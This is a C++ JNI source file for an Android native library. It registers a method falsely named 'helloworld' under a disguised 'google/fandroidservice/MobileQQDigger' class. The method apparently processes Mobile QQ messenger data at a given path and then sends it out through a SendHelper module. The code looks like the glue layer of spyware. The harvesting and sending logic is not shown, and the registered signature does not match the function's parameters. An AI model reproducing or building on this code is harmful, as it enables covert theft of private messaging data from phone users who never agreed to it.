#include "dealqq.h"
#include <stdlib.h>
#include <string>
#include <string.h>
#include <vector>
#include <jni.h>
#include "SendHelper.h"
#define LOG_TAG "xxx"
#include "publicfun/debug.h"

using namespace std;


//
// Created by firear on 5/25/18.
//

#ifdef __cplusplus
extern "C" {
#endif


/*
 * Class:     google_fandroidservice_MobileQQDigger
 * Method:    helloworld
 * Signature: (Ljava/lang/String;)V
 */
JNIEXPORT void JNICALL dealqq(JNIEnv *env, jclass, jstring j_str)
{
    LOGD("%s E", __func__);
    string destpath;
    const char *c_str = NULL;
    c_str = env->GetStringUTFChars(j_str, NULL);
    if(c_str != NULL) {
        LOGD("%s", c_str);
        destpath = c_str;
        env->ReleaseStringUTFChars(j_str, c_str);
    }


    dealqq::getInstance()->deal(destpath);

    SendHelper::getInstance()->DoSend(destpath);
    //send it


}




#ifdef __cplusplus
}
#endif

/////////

/*
 * Register several native methods for one class.
 */
static int registerNativeMethods(JNIEnv* env, const char* className,
                                 JNINativeMethod* gMethods, int numMethods)
{
    jclass clazz;

    clazz = env->FindClass(className);
    if (clazz == NULL) {
        LOGE("Native registration unable to find class '%s'", className);
        return JNI_FALSE;
    }
    if (env->RegisterNatives(clazz, gMethods, numMethods) < 0) {
        LOGE("RegisterNatives failed for '%s'", className);
        return JNI_FALSE;
    }

    return JNI_TRUE;
}



static const char *classPathName = "google/fandroidservice/MobileQQDigger";
static JNINativeMethod methods[] = {
        {"helloworld", "()V", (void*)dealqq },
};





typedef union {
    JNIEnv* env;
    void* venv;
} UnionJNIEnvToVoid;


jint JNI_OnLoad(JavaVM* vm, void* reserved)
{
    UnionJNIEnvToVoid uenv;
    uenv.venv = NULL;
    jint result = -1;
    JNIEnv* env = NULL;


    LOGD("JNI_OnLoad");

    if (vm->GetEnv(&uenv.venv, JNI_VERSION_1_4) != JNI_OK) {
        LOGE("ERROR: GetEnv failed");
        goto bail;
    }
    env = uenv.env;


    if (!registerNativeMethods(env, classPathName,
                               methods, sizeof(methods) / sizeof(methods[0]))) {
        goto bail;
    }


    result = JNI_VERSION_1_4;

    bail:
    return result;
}
